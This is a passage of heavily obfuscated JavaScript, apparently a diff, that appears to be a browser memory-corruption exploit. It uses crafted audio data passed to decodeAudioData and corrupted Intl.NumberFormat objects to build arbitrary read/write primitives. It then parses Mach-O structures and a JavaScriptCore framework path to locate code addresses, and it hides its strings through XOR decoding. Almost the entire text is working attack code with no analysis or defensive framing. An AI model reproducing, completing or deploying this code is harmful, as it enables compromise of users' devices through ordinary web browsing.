= new Int8Array(t)); + const n = this.tr(t); + return this.Dr(n + globalThis.obChTK.hPL3On(([125, 120, 122, 122, 117, 47, 45, 127, 46, 125, 121, 125, 117, 46, 45, 126, 45, 116, 42, 120, 124, 46, 41, 126, 116, 123, 42, 122, 120, 122, 40, 120, 40, 123, 121, 117, 127, 41, 46, 124].map(x => { + return String.fromCharCode(x ^ 76); + }).join(""))).zn.Nn.oGn3OG, i) + } + Br(t, ...i) { + const n = new Array(i.length + 10); + for (let t = 0; t < i.length; t++) n[t] = this.rr(i[t].Ir); + try { + for (let t = 0; t < i.length; t++) this.Jr(i[t].Ir, i[t].Zt); + t() + } finally { + for (let t = 0; t < i.length; t++) this.Jr(i[t].Ir, n[t]) + } + } +} +class z extends k { + constructor(t, i) { + super(t), this.Ii = i, this.Wr = x.K(this.Ii.tA(this._r)) + globalThis.obChTK.hPL3On(([116, 113, 115, 115, 124, 38, 36, 118, 39, 116, 112, 116, 124, 39, 36, 119, 36, 125, 35, 113, 117, 39, 32, 119, 125, 114, 35, 115, 113, 115, 33, 113, 33, 114, 112, 124, 118, 32, 39, 117].map(x => { + return String.fromCharCode(x ^ 69); + }).join(""))).zn.Nn.fGOrHX + } + _i(t) { + return !0 === this.yr ? x.X(t) : x.O(t) + } + br(t) { + return this.Ii.br(this._i(t)) + } + dr(t, i) { + this.Ii.dr(this._i(t), i) + } + ti(t, i) { + this.Ii.dr(this._i(t), i >>> 0), this.Ii.dr(this._i(t) + BigInt(4), i / 4294967296 >>> 0) + } + Jr(t, i) { + this.Ii.dr(this._i(t), i.it), this.Ii.dr(this._i(t) + BigInt(4), i.et) + } + write32x2(t, i, n) { + this.Ii.dr(this._i(t), i), this.Ii.dr(this._i(t) + BigInt(4), n) + } +} +class C { + constructor() { + this.rn = new ArrayBuffer(16), this.en = new DataView(this.rn) + } + un(t) { + return this.en.setInt16(0, t, !0), this.en.getInt16(0, !0) + } + on(t) { + return this.en.setUint16(0, t, !0), this.en.getUint16(0, !0) + } + sn(t) { + return this.en.setUint32(0, t, !0), this.en.getUint32(0, !0) + } + hn(t, i) { + return this.en.setFloat64(0, t, !0), this.en.setUint32(0, i, !0), this.en.getFloat64(0, !0) + } + cn(t, i) { + return this.en.setFloat64(0, t, !0), this.en.setUint32(4, i, !0), this.en.getFloat64(0, !0) + } + fn(t) { + for (let i = 0; i < 4; i++) { + const n = t.charCodeAt(i); + if (Number.isNaN(n)) throw new Error(""); + this.en.setUint16(2 * i, n, !0) + } + return this.en.getBigUint64(0, !0) + } + an(t) { + return this.en.setFloat32(0, t, !0), this.en.getUint32(0, !0) + } + wn(t) { + return this.en.setBigUint64(0, t, !0), this.en.getFloat64(0, !0) + } + gn(t, i) { + return this.en.setBigUint64(0, t, !0), this.en.setUint8(0, Number(i)), this.en.getBigUint64(0, !0) + } + ln(t, i) { + return this.en.setBigUint64(0, t, !0), this.en.setUint32(0, Number(i), !0), this.en.getBigUint64(0, !0) + } + bn(t, i) { + return this.en.setUint32(0, t, !0), this.en.setUint8(0, Number(i)), this.en.getUint32(0, !0) + } + Un(t, i) { + return this.en.setUint32(0, t, !0), this.en.setUint32(0, Number(i), !0), this.en.getUint32(0, !0) + } + mn(t, i) { + return this.en.setBigUint64(0, t, !0), this.en.setUint32(0, Number(i), !0), this.en.getBigUint64(0, !0) + } + ki(t) { + return this.en.setBigInt64(0, t, !0), this.en.getBigUint64(0, !0) + } +} +class M { + constructor(t, i, n, r, e, o, s, a) { + this.vi = t, this.Fi = i, this.Ni = n, this.zi = r, this.pi = e, this.Ci = o, this.xi = s, this.Mi = a, this.Oi = new C + } + Wi(t) { + this.zi.baseVal = Number(t >> BigInt(32)), this.Fi.baseVal = Number(t - BigInt(28) & BigInt(([1, 73, 119, 119, 119, 119, 119, 119, 119, 119].map(x => { + return String.fromCharCode(x ^ 49); + }).join("")))) + } + Vi(t) { + this.Oi.en.setUint32(0, Number(t), !0), this.Ci.baseVal = this.Oi.en.getUint32(0, !0) + } + $i() { + return this.Oi.en.setUint32(0, this.Ci.baseVal, !0), this.Oi.en.getUint32(0, !0) + } + dr(t, i) { + this.Wi(t), this.Vi(i) + } + Hi(t, i) { + this.Wi(t), this.Vi(i & BigInt(([83, 27, 37, 37, 37, 37, 37, 37, 37, 37].map(x => { + return String.fromCharCode(x ^ 99); + }).join("")))), this.Wi(t + BigInt(4)), this.Vi(i >> BigInt(32)) + } + Er(t, i = (1983998776 ^ 1983998008)) { + let n = ""; + for (let r = 0; r < i; r++) { + const i = this.Sr(t + BigInt(r)); + if (0 === i) break; + n += String.fromCharCode(i) + } + return n + } + br(t) { + return this.Wi(t), this.$i() + } + ji(t) { + return (1112564076 ^ 1112579731) & this.br(t) + } + Sr(t) { + return (2016893289 ^ 2016893334) & this.br(t) + } + Ki(t) { + const i = this.br(t), + n = this.br(t + BigInt(4)); + return BigInt(n) << BigInt(32) | BigInt(i) + } + tA(t) { + this.Mi[0] = t; + const i = this.Ki(this.xi + BigInt(8)), + n = this.Ki(i); + return this.Mi[0] = null, n + } +} +return r.si = async function (t) { + const i = BigInt(([74, 2, 77, 60, 60, 60, 60, 60, 60, 60, 60, 60].map(x => { + return String.fromCharCode(x ^ 122); + }).join(""))); + + function n(t) { + return t & i + } + try { + const i = await async function () { + const i = { + Ji: null, + Li: null + }, + r = new OfflineAudioContext(2, (1261462879 ^ 1261488411), (1832209514 ^ 1832247342)), + e = r.decodeAudioData.bind(r), + o = []; + r.decodeAudioData = async t => { + const i = await e(t); + return o.push(i), null + }; + const s = (1331970635 ^ 1331976467); + + function a() { + let t = 0; + for (let i = 0; i < s; i++) try { + new Intl.NumberFormat(([46, 37, 61, 37, 41, 32, 44, 32, 59, 17].map(x => { + return String.fromCharCode(x ^ 74); + }).join("")), {}) + } catch (i) { + t += 1 + } + if (t !== s) throw new Error("") + } + + function c() { + for (let t = 0; t < (1750692460 ^ 1750692508); t++) new ArrayBuffer((1447127853 ^ 1442933549)) + } + async function h(t, i) { + const n = S(k, new T), + e = p(new ArrayBuffer((1397113677 ^ 1397097293)), (825849196 ^ 825851436), (946692948 ^ 946696852)), + o = [], + h = [], + l = []; + for (let n = 0; n < s; n++) t[i + n] = new Intl.NumberFormat(([53, 62, 125, 5, 3].map(x => { + return String.fromCharCode(x ^ 80); + }).join("")), {}), o[n] = [new Intl.NumberFormat(([51, 56, 123, 3, 5].map(x => { + return String.fromCharCode(x ^ 86); + }).join("")), {}), new Intl.NumberFormat(([40, 35, 96, 24, 30].map(x => { + return String.fromCharCode(x ^ 77); + }).join("")), {}), new Intl.NumberFormat(([39, 44, 111, 23, 17].map(x => { + return String.fromCharCode(x ^ 66); + }).join("")), {})], h.push([new Intl.NumberFormat(([46, 37, 102, 30, 24].map(x => { + return String.fromCharCode(x ^ 75); + }).join("")), {}), new Intl.NumberFormat(([54, 61, 126, 6, 0].map(x => { + return String.fromCharCode(x ^ 83); + }).join("")), {})]); + h.length = 0, c(), a(); + for (let n = 0; n < s; n++) t[i + n].format(1), t[i + n].format(2), t[i + n].format(3); + o.length = 0, c(), a(); + for (let t = 0; t < 20; t++) { + await r.decodeAudioData(e), await r.decodeAudioData(e); + try { + await r.decodeAudioData(n) + } catch (t) { } + } + for (let n = i; n < t.length; n++) { + const i = t[n]; + if (null === i) continue; + const r = i.format(1.02); + if (4 !== r.length) { + for (let t = 0; t < r.length; t++); + let n = BigInt(r.charCodeAt(19)); + return n = n << BigInt(16) | BigInt(r.charCodeAt(18)), n = n << BigInt(16) | BigInt(r.charCodeAt(17)), n -= BigInt((2052666958 ^ 2052667254)), { + Ri: [...t, ...o, ...h, ...l], + Xi: i, + qi: n + } + } + } + throw new Error("") + } + const l = (1598836557 ^ 1598852957), + f = 1, + w = 2, + u = 3, + g = 5, + d = 6, + b = 10, + B = (1248819300 ^ 503254354), + I = BigInt((1329753424 ^ 1329753816)), + _ = BigInt((808924234 ^ 808925058)), + m = BigInt(8), + y = BigInt(12), + U = BigInt(10), + E = BigInt(24), + k = new ArrayBuffer((1496413524 ^ 1496397140)), + v = new C; + class F { + Gi(t) { + if (t !== this.Qi.length) throw new Error("") + } + Yi(t) { + if (0 === t.length) return 0; + if (this.Zi + t.length >= this.Qi.length && (this.Gi(this.Zi + t.length + 1), this.Zi + t.length >= this.Qi.length)) throw new Error(""); + return this.Qi.set(t, this.Zi), this.Zi += t.length, t.length + } + te(t) { + if (this.Zi < 0) throw new Error(""); + if (this.Zi > this.Qi.length) throw new Error(""); + this.Zi = t + } + ie() { + this.Zi = 0 + } + ne() { + return this.Qi.length + } + re() { + return this.Zi + } + ee() { + return this.Qi.subarray() + } + constructor(t) { + this.Qi = new Uint8Array(t), this.Zi = 0, this.oe = new ArrayBuffer(32), this.se = new Uint8Array(this.oe), this.ae = new DataView(this.oe) + } + ce(t) { + this.ae.setUint32(0, t, !1), this.Yi(this.se.subarray(0, 4)) + } + he(t) { + this.ae.setUint16(0, t, !1), this.Yi(this.se.subarray(0, 2)) + } + le(t, i) { + const n = new Uint8Array(i); + n.fill(t), this.Yi(n) + } + fe(t) { + this.Yi(new Uint8Array([t])) + } + we(t) { + let i = 0; + for (; i < t.length;) { + const n = t.charCodeAt(i); + if (0 != ((1131695413 ^ 1131721269) & n)) throw new Error(""); + this.fe(n), i++ + } + } + ue(t) { + this.te(t) + } + ge() { + this.ie() + } + de() { + return this.ne() + } + be() { + return this.re() + } + Be() { + return this.ee() + } + } + class N { + Ie(t) { } + _e(t) { } + } + + function S(t, i) { + const n = new F(t), + r = [{ + tag: f, + me: void 0, + ye: void 0 + }, { + tag: u, + me: void 0, + ye: void 0 + }, { + tag: g, + me: void 0, + ye: void 0 + }, { + tag: d, + me: void 0, + ye: void 0 + }, { + tag: b, + me: void 0, + ye: void 0 + }], + e = 16 + 12 * r.length; + n.ue(e); + for (const t of r) { + const r = n.be(); + switch (t.me = r, t.tag) { + case f: { + const t = { + Ue: 0, + Ee: 0, + ke: B, + ve: 0, + Fe: 0, + Ne: 0, + Se: 0 + }; + n.he(t.Ue), n.he(t.Ee), n.ce(t.ke), n.ce(t.ve), n.ce(t.Fe), n.ce(t.Ne), n.ce(t.Se); + break + } + case u: + n.he(0), n.le("\0", 16), n.le("\0", 40), n.ce(0), n.ce(0), n.ce(0), n.ce(0); + break; + case g: + n.ce(0); + break; + case d: + i.Ie(n); + break; + case b: + i._e(n) + } + t.ye = n.be() - r + } + const o = n.be(); + n.ue(0), n.ce(o), n.ce(B), n.ce(r.length), n.ce(0); + for (const t of r) n.ce(t.tag), n.ce(t.me), n.ce(t.ye); + return n.Be().buffer.slice(0, o) + } + class A extends N { + constructor(t, i) { + super(), this.Ae = t, this.Te = i + } + Ie(t) { + const i = [], + n = (1245868108 ^ 1245856356); + if (this.Ae < BigInt(4294967296)) throw new Error(""); + let r = Number((this.Ae >> BigInt(32)).toString()); + v.on(r) % 2 == 0 && (r += 1); + let e = v.un(-(1346467123 ^ 1346453811)); + e -= 16 * r; + let o = v.un(24 * r + 72); + if (v.on(o) % 16 != 0) throw new Error(""); + o += 16, e += o; + const s = Math.floor(e / 16), + a = v.un(8 * s); + let c = this.Ae - BigInt(a.toString()); + c -= BigInt(v.on(8 * r).toString()); + const h = (t, i) => t <= i ? t : i, + f = (t, i) => Number(BigInt.asUintN(t, i).toString()), + w = h(BigInt((4294967296 + (1364288331 ^ -1364288332))), c); + i.push({ + ze: 0, + pe: f(32, w), + Ce: l + }), c -= w; + let u = r; + for (; u > 0;) + if (u -= 1, c !== BigInt(0)) { + const t = h(BigInt((4294967296 + (1833069881 ^ -1833069882))), c); + i.push({ + ze: 1, + pe: f(32, t), + Ce: l + }), c -= t + } else i.push({ + ze: 1, + pe: 0, + Ce: l + }); + i.push({ + ze: v.on(s), + pe: 0, + Ce: l + }), i.push({ + ze: 1, + pe: 0, + Ce: l + }), i.push({ + ze: 12, + pe: 0, + Ce: l + }); + let g = 0; + for (const t of i) g += v.un(t.ze); + let d = 0; + if (g < 0) d += -1 * g, d += (1131962233 ^ 1131961432); + else { + if (d > (1817196108 ^ 1817195885)) throw new Error(""); + d += (1732462198 ^ 1732461911) - d + } + if (i.push({ + ze: d, + pe: 0, + Ce: l + }), 24 * i.length > n) throw new Error(""); + for (; 24 * i.length !== n;) i.push({ + ze: 0, + pe: 0, + Ce: l + }); + t.ce(i.length); + for (const n of i) t.ce(n.ze), t.ce(0), t.ce(0), t.ce(n.pe), t.ce(0), t.he(n.Ce), t.ce(0) + } + _e(t) { + t.ce(this.Te[1]), t.ce(this.Te[0]) + } + } + class T extends N { + constructor() { + super() + } + Ie(t) { + const i = []; + let n = -(1281700471 ^ 1281695863); + n += (1848864878 ^ 1848866798), n = Math.floor(n / 16), i.push({ + ze: 0, + pe: 0, + Ce: l + }), i.push({ + ze: 0, + pe: 0, + Ce: l + }), i.push({ + ze: v.on(n), + pe: 0, + Ce: l + }), i.push({ + ze: 1, + pe: (4294967296 + (1731682929 ^ -1731682930)), + Ce: 0 + }); + const r = Math.floor(-(1937008452 ^ 1937008428)); + i.push({ + ze: v.on(r), + pe: (1882552910 ^ 1882556797), + Ce: 0 + }), i.push({ + ze: 2, + pe: (1313501509 ^ 1313505910), + Ce: 0 + }), i.push({ + ze: 2, + pe: (1145467467 ^ 1145471352), + Ce: 0 + }); + let e = 0; + for (const t of i) e += v.un(t.ze); + const o = Math.floor((1431263313 ^ 1431263565)); + let s = 0; + if (e < 0) s += -1 * e, s += o; + else { + if (s > o) throw new Error(""); + s += o - s + } + for (i.push({ + ze: s, + pe: 0, + Ce: 0 + }); 24 * i.length != (1161251638 ^ 1161251822);) i.push({ + ze: 0, + pe: 0, + Ce: 0 + }); + t.ce(i.length); + for (const n of i) t.ce(n.ze), t.ce(0), t.ce(0), t.ce(n.pe), t.ce(0), t.he(n.Ce), t.ce(0) + } + _e(t) { + t.ce((1365203545 ^ 1365203227)), t.ce((1450798932 ^ 1450798102)), t.ce((1331327860 ^ 1331331143)), t.ce((1514556777 ^ 1514584365)) + } + } + + function p(t, i, n) { + const r = new F(t); + if (i % 24 != 0) throw new Error(""); + if (n % 16 != 0) throw new Error(""); + const e = i / 24, + o = n / 16; + if (e >= o) throw new Error(""); + if (o >= (761620786 ^ 761599693)) throw new Error(""); + const s = []; + for (let t = 0; t < e - 1; t++) s.push({ + ze: 1 + }); + s.push({ + ze: o - e + }); + for (const t of s) t.pe = 0, t.xe = 1, t.Ce = l; + s[0].pe = 19; + const a = [{ + tag: f, + me: void 0, + ye: void 0 + }, { + tag: w, + me: void 0, + ye: void 0 + }, { + tag: u, + me: void 0, + ye: void 0 + }, { + tag: g, + me: void 0, + ye: void 0 + }, { + tag: d, + me: void 0, + ye: void 0 + }, { + tag: b, + me: void 0, + ye: void 0 + }], + c = 16 + 12 * a.length; + r.ue(c); + for (const t of a) { + const i = r.be(); + switch (t.me = i, t.tag) { + case f: { + const t = { + Ue: 0, + Ee: 0, + ke: B, + ve: 0, + Fe: 0, + Ne: 0, + Se: 0 + }; + r.he(t.Ue), r.he(t.Ee), r.ce(t.ke), r.ce(t.ve), r.ce(t.Fe), r.ce(t.Ne), r.ce(t.Se); + break + } + case w: { + const t = [ + [([12, 33, 37, 32, 33, 54, 23, 33, 33, 32].map(x => { + return String.fromCharCode(x ^ 68); + }).join("")), "0"], + [([8, 35, 46, 63, 52, 61, 57, 40, 41, 15, 33, 34, 46, 38, 62].map(x => { + return String.fromCharCode(x ^ 77); + }).join("")), "0"], + [([47, 2, 6, 3, 2, 21, 44, 2, 30].map(x => { + return String.fromCharCode(x ^ 103); + }).join("")), ([81, 65, 81, 65, 81, 65, 81].map(x => { + return String.fromCharCode(x ^ 97); + }).join(""))], + [([0, 19, 22, 23, 58, 51, 38].map(x => { + return String.fromCharCode(x ^ 67); + }).join("")), "0"] + ]; + r.ce(t.length); + for (const [i, n] of t) r.fe(0), r.ce(i.length), r.ce(n.length), r.we(i), r.we(n); + break + } + case u: + r.he(0), r.le("\0", 16), r.le("\0", 40), r.ce(19), r.ce(0), r.ce(0), r.ce(0); + break; + case g: + r.ce(0); + break; + case d: { + const t = -1; + r.ce(s.length); + for (const i of s) r.ce(i.ze), r.ce(t), r.ce(t), r.ce(i.pe), r.ce(i.xe), r.he(i.Ce), r.ce(0); + break + } + case b: { + r.ce(19); + const t = r.be() + 4; + r.ce(t), r.le("\0", 19); + let i = r.be() + 8; + for (let t = 0; t < o; t++) r.ce(0), r.ce(i), i += 8; + break + } + } + t.ye = r.be() - i + } + const h = r.be(); + r.ue(0), r.ce(h), r.ce(B), r.ce(a.length), r.ce(0); + for (const t of a) r.ce(t.tag), r.ce(t.me), r.ce(t.ye); + return r.Be().buffer.slice(0, h) + } + return await async function () { + const e = []; + let s = 0, + a = 0, + c = null; + for (a = 0; a < 12; a++) try { + c = await h(e, s); + break + } catch (t) { + s = e.length + } + if (null === c) throw new Error(""); + const l = await async function (e) { + const o = new ArrayBuffer((1933993560 ^ 1933977176)), + s = new ArrayBuffer((1467382354 ^ 1467365970)), + a = p(o, (1767200610 ^ 1767201826), (1396920442 ^ 1396929658)); + class c { + async init() { + const t = e.qi + I, + i = t + m, + o = t + E, + c = e.qi + _, + h = async (t, i) => { + { + const n = S(s, new A(t, [i, 0])); + let o = 0; + const c = e.Xi.format(1 / 0); + do { + if (o += 1, o > 20) throw Error(0); + for (let t = 0; t < 12; t++) await r.decodeAudioData(a); + try { + await r.decodeAudioData(n) + } catch (t) { } + } while (c === e.Xi.format(1 / 0)) + } + }; + await h(i, (893998410 ^ 893998664)), await h(o, Number(c & BigInt(([7, 79, 113, 113, 113, 113, 113, 113, 113, 113].map(x => { + return String.fromCharCode(x ^ 55); + }).join(""))))), await h(o + BigInt(4), Number(c >> BigInt(32))); + { + const t = e.Xi.format(1 / 0), + i = (E - U) / BigInt(2); + let n = BigInt(0); + for (let r = 3; r >= 0; r--) n = n << BigInt(16) | BigInt(t.charCodeAt(Number(i) + r)) + } + await h(i, (844327525 ^ 844328557)); + const l = e.Xi.format(1 / 0); + this.Pe = n(this.Me(l, 0)) + } + constructor() { + this.Oe = !1, this.We = null, this.De = null, this.Ve = null, this.Pe = null, this.$e = new Uint16Array(new ArrayBuffer(32)), this.He = new DataView(this.$e.buffer) + } + hr(t = (862091577 ^ 862091833)) { + for (let i = 0; i < Math.min(t, Number(this.De)); i += 8); + } + je(t, i) { + if (i = BigInt(i), null === this.We) throw new Error(""); + if (null === this.De) throw new Error(""); + if (null === this.Ve) throw new Error(""); + const n = t + i; + if (n < this.We) throw new Error(""); + if (n >= this.We + this.De) throw new Error("") + } + Ke() { + this.Ve = e.Xi.format(NaN) + } + br(t) { + if ((t = Number(t)) % 2 != 0) throw new Error(""); + this.je(this.We, t), t /= 2; + for (let i = 0; i < 2; i++) { + const n = this.Ve.charCodeAt(t + i); + if (Number.isNaN(n)) throw new Error(""); + this.$e[i] = n + } + return this.He.getUint32(0, !0) + } + Er(t = 0, i = (1632710982 ^ 1632711342)) { + t = Number(t), this.je(this.We, t); + let n = "", + r = 0, + e = t % 2 != 0; + for (; ;) { + const o = this.Ve.charCodeAt(Math.floor((t + r) / 2)), + s = (2037075298 ^ 2037075357) & o, + a = o >>> 8; + if (!1 === e) { + if (0 === s) break; + if (n += String.fromCharCode(s), r += 1, r >= i) break + } + if (e = !1, 0 === a) break; + if (n += String.fromCharCode(a), r += 1, r >= i) break + } + return n + } + Ki(t) { + if ((t = Number(t)) % 2 != 0) throw new Error(""); + this.je(this.We, t), t /= 2; + for (let i = 0; i < 4; i++) { + const n = this.Ve.charCodeAt(t + i); + if (Number.isNaN(n)) throw new Error(""); + this.$e[i] = n + } + return this.He.getBigUint64(0, !0) + } + Me(t, i) { + if ((i = Number(i)) % 2 != 0) throw new Error(""); + i /= 2; + for (let n = 0; n < 4; n++) { + const r = t.charCodeAt(i + n); + if (Number.isNaN(r)) throw new Error(""); + this.$e[n] = r + } + return this.He.getBigUint64(0, !0) + } + async Je(t, i = null) { + const n = e.qi + _, + o = n + m, + c = n + y, + h = n + E; + let l = 0, + f = null, + w = null, + u = null; + if (!1 === this.Oe || null !== i) { + let t = (928141942 ^ 928141430); + if (null !== i && (t = Number(i)), BigInt(t) !== this.De) { + this.De = BigInt(t); + const i = t > (1198089544 ^ 1198090056); + let n = 8 | t << 5; + !0 === i && (n = (1416312649 ^ 1416353601)), u = S(s, new A(o, [n, 0])), l = 0, f = e.Xi.format(1 / 0); + do { + if (l += 1, l > 20) throw Error(0); + for (let t = 0; t < 12; t++) await r.decodeAudioData(a); + try { + await r.decodeAudioData(u) + } catch (t) { } + } while (f === e.Xi.format(1 / 0)); + if (w = this.Me(e.Xi.format(1 / 0), Number(m)), w !== BigInt(n)) throw new Error(""); + if (!0 === i) { + u = S(s, new A(c, [t, 0])), l = 0, f = e.Xi.format(1 / 0); + do { + if (l += 1, l > 20) throw Error(0); + for (let t = 0; t < 12; t++) await r.decodeAudioData(a); + try { + await r.decodeAudioData(u) + } catch (t) { } + } while (f === e.Xi.format(1 / 0)); + if (w = this.Me(e.Xi.format(1 / 0), Number(y)), w !== BigInt(t)) throw new Error("") + } + } + } + u = S(s, new A(h, [Number(t & BigInt(([70, 14, 48, 48, 48, 48, 48, 48, 48, 48].map(x => { + return String.fromCharCode(x ^ 118); + }).join("")))), 0])), l = 0, f = e.Xi.format(1 / 0); + do { + if (l += 1, l > 40) throw Error(0); + for (let t = 0; t < 12; t++) await r.decodeAudioData(a); + try { + await r.decodeAudioData(u) + } catch (t) { } + } while (f === e.Xi.format(1 / 0)); + u = S(s, new A(h + BigInt(4), [Number(t >> BigInt(32)), 0])), l = 0, f = e.Xi.format(1 / 0); + do { + if (l += 1, l > 40) throw Error(0); + for (let t = 0; t < 12; t++) await r.decodeAudioData(a); + try { + await r.decodeAudioData(u) + } catch (t) { } + } while (f === e.Xi.format(1 / 0)); + if (w = this.Me(e.Xi.format(1 / 0), Number(E)), w !== t) throw new Error(""); + this.We = t, this.Ve = e.Xi.format(NaN), this.Oe = !0 + } + } + const h = new c; + await h.init(); + const l = h.Pe; + await h.Je(l), n(h.Ki(0)); + const f = n(h.Ki(0)); + let w = f - f % BigInt((1816809016 ^ 1816153656)); + const u = BigInt((1802265673 ^ 1801872457)); + await h.Je(w, u); + let g = null; + for (; null === g;) { + for (let t = BigInt(0); t < u; t += BigInt((1313814892 ^ 1313810796)))(4294967296 + (1969632586 ^ -1953771643)) === h.br(t) && (g = w + t); + null === g && (w -= u, await h.Je(w)) + } + const d = 4, + b = 40, + B = 8, + k = 24, + v = 32; + await h.Je(g, BigInt((1983990839 ^ 1983974455))); + let F = null, + N = null; + const T = h.br(16); + (() => { + let t = v; + for (let i = 0; i < T; i++) { + const i = h.br(t), + n = h.br(t + d); + if (25 === i && ([106, 106, 97, 112, 109, 97].map(x => { + return String.fromCharCode(x ^ 53); + }).join("")) === h.Er(t + B)) { + const i = h.Ki(t + k), + n = h.Ki(t + b); + return F = g - i, void (N = g - n) + } + t += n + } + throw new Error("") + })(), await h.Je(N, BigInt((1164271428 ^ 1164267332))); + const C = h.br((1314289713 ^ 1314290161)), + x = h.br((2003720249 ^ 2003720701)), + P = N + BigInt(C); + await h.Je(P, BigInt(32 * x)); + const O = []; + let W = (846344769 ^ 1032703422), + D = 0; + for (let t = 0; t < x; t++) { + const i = 32 * t, + n = h.br(i + 24); + W = Math.min(n, W), D = Math.max(n, D), O.push({ + Le: h.Ki(i) + F, + Re: n + }) + } + await h.Je(N + BigInt(W), BigInt(D - W) + BigInt((1095519607 ^ 1095519323))); + const V = (() => { + for (const { + Le: t, + Re: i + } + of O) + if (([98, 56, 62, 63, 98, 33, 36, 47, 98, 62, 52, 62, 57, 40, 32, 98, 33, 36, 47, 62, 52, 62, 57, 40, 32, 18, 61, 57, 37, 63, 40, 44, 41, 99, 41, 52, 33, 36, 47].map(x => { + return String.fromCharCode(x ^ 77); + }).join("")) === h.Er(i - W)) return t; + throw new Error("") + })(), + $ = async t => { + let i = !1, + n = null, + r = null, + e = null, + o = null; + const s = {}; + let a = null; + await h.Je(t, BigInt((1882473569 ^ 1882477665))); + const c = h.br(16); + let l = v; + for (let e = 0; e < c; e++) { + const e = h.br(l), + c = h.br(l + d); + switch (e) { + case 25: { + const i = { + Xe: h.Er(l + B, 16), + qe: h.Ki(l + k), + Ge: null, + Qe: h.Ki(l + b) + }; + switch (i.Xe) { + case ([55, 55, 60, 45, 48, 60].map(x => { + return String.fromCharCode(x ^ 104); + }).join("")): + o = t - i.qe; + break; + case ([110, 110, 125, 120, 127, 122, 116, 117, 120, 101].map(x => { + return String.fromCharCode(x ^ 49); + }).join("")): + a = i.qe + o - i.Qe + } + if (void 0 !== s[i.Xe]) throw new Error(""); + s[i.Xe] = i; + break + } + case (4294967296 + (1316571241 ^ -830912437)): + i = !0, n = h.br(l + 40), r = h.br(l + 44); + break; + case (4294967296 + (1380348984 ^ -767134709)): + i = !0, n = h.br(l + 8), r = h.br(l + 12) + } + l += c + } + for (const t of Object.keys(s)) { + const i = s[t]; + i.Ge = i.qe + o + } + if (!1 === i) throw new Error(""); + e = a + BigInt(n); + const f = new ArrayBuffer(r); + await h.Je(e, r); + const w = new Uint32Array(f); + for (let t = 0; t < w.length; t++) w[t] = h.br(4 * t); + const u = new Uint8Array(f), + g = t => { + const i = u; + let n = "", + r = 0, + e = !1; + for (; !e;) { + e = !0; + let o = 0, + s = 0; + do { + o += ((1313960505 ^ 1313960518) & i[r]) << s, s += 7 + } while ((1098134344 ^ 1098134472) & i[r++]); + if (n === t && 0 !== o) { + r++; + let t = 0; + s = 0; + do { + t += ((1850494570 ^ 1850494485) & i[r]) << s, s += 7 + } while ((1396272182 ^ 1396272310) & i[r++]); + return t + } + r += o; + const a = i[r++]; + for (let o = 0; o < a; o++) { + let o = ""; + for (; 0 !== i[r];) o += String.fromCharCode(i[r++]); + r++; + let a = 0; + s = 0; + do { + a += ((1181446996 ^ 1181446955) & i[r]) << s, s += 7 + } while ((1885751632 ^ 1885751760) & i[r++]); + if (o.length && n + o === t.substr(0, n.length + o.length)) { + n += o, r = a, e = !1; + break + } + } + } + return null + }, + I = i => { + const n = g(([23].map(x => { + return String.fromCharCode(x ^ 72) + }).join("")) + (i)); + if (null === n) throw new Error(""); + return t + BigInt(n) + }; + return { + Ye: g, + Ze: I + } + }, H = (await $(V)).Ze(([56, 60, 32, 58, 45, 41, 44, 23, 37, 41, 33, 38, 23, 60, 32, 58, 45, 41, 44, 23, 38, 56].map(x => { + return String.fromCharCode(x ^ 72); + }).join(""))), j = BigInt(64); + await h.Je(H, j); + const K = new Uint32Array(Number(j) / 4); + for (let t = 0; t < K.length; t += 1) K[t] = h.br(4 * t); + let J = null, + L = null; + for (const t in K) { + const i = K[t]; + if (-(1463055181 ^ 657748813) == ((4294967296 + (1515861862 ^ -983943322)) & i)) { + const t = ((1127823425 ^ 1137100705) & i) >> 5 << 14 | ((1599034724 ^ 1062163812) & i) >> 29 << 12; + J = H - H % BigInt((1484342131 ^ 1484346227)) + BigInt(t) + } else if (-(1700999479 ^ 1671639351) == ((4294967296 + (875714420 ^ -873310348)) & i)) { + L = J + BigInt(8 * (i >> 10 & (1294812501 ^ 1294813866))); + break + } + } + if (null === L) throw new Error(""); + await h.Je(L, BigInt((1330473825 ^ 1330473569))); + const R = h.Ki(0), + X = BigInt((1633316206 ^ 1633316318)), + q = BigInt((1969453647 ^ 1969453815)), + G = BigInt(16), + Q = []; + let Y = R; + do { + await h.Je(Y); + const t = h.Ki(X); + t - h.Ki(q) >= BigInt((1951421032 ^ 1951461992)) && Q.push({ + io: Y, + no: t + }), Y = h.Ki(G) + } while (Y !== BigInt(0)); + const Z = async t => { + const i = [(1733258864 ^ 1732917826), (1919894851 ^ 1919492208), t, (1718899798 ^ 1719039842), (812336994 ^ 811783510)]; + let n = null; + const r = (t, ...e) => { + try { + r(t + 1, ...i, ...e) + } catch (t) { + h.Ke(); + for (let t = 0; t < (1681351477 ^ 1681355573); t += 8) + if (h.Ki(t) === BigInt(([1, 73, 87, 87, 87, 84, 1, 1, 1, 1, 1, 1, 1, 4, 4, 5, 2, 3].map(x => { + return String.fromCharCode(x ^ 49); + }).join(""))) && h.Ki(t + 8) === BigInt(([87, 31, 1, 1, 1, 2, 87, 87, 87, 87, 87, 87, 87, 81, 81, 82, 84, 84].map(x => { + return String.fromCharCode(x ^ 103); + }).join(""))) && h.Ki(t + 24) === BigInt(([6, 78, 80, 80, 80, 83, 6, 6, 6, 6, 6, 6, 6, 4, 4, 5, 5, 2].map(x => { + return String.fromCharCode(x ^ 54); + }).join(""))) && h.Ki(t + 32) === BigInt(([101, 45, 51, 51, 51, 48, 101, 101, 101, 101, 101, 101, 101, 108, 108, 103, 102, 97].map(x => { + return String.fromCharCode(x ^ 85); + }).join("")))) return void (n = h.Ki(t + 16)) + } + }; + for (const t in Q) { + const e = Q[t].no - BigInt((1752708705 ^ 1752725089)); + if (await h.Je(e, BigInt((1278297418 ^ 1278301514))), r(0, ...i), null !== n) break + } + if (null === n) throw new Error(""); + return n + }, tt = new Array((812536690 ^ 812536762)); + tt.fill(null); + const it = await Z(tt); + await h.Je(it, BigInt(96)); + const nt = h.Ki(8); + await h.Je(nt), tt.fill((1162883439 ^ 1162883348)); + const rt = async (t, i) => { + const n = Number((i >> BigInt(32)).toString()), + e = Number((i & BigInt((4294967296 + (1831691832 ^ -1831691833)))).toString()), + o = S(s, new A(t, [e, 0])); + for (let t = 0; t < 12; t++) r.decodeAudioData(a); + try { + await r.decodeAudioData(o) + } catch (t) { } + const c = S(s, new A(t + BigInt(4), [n, 0])); + for (let t = 0; t < 12; t++) r.decodeAudioData(a); + try { + await r.decodeAudioData(c) + } catch (t) { } 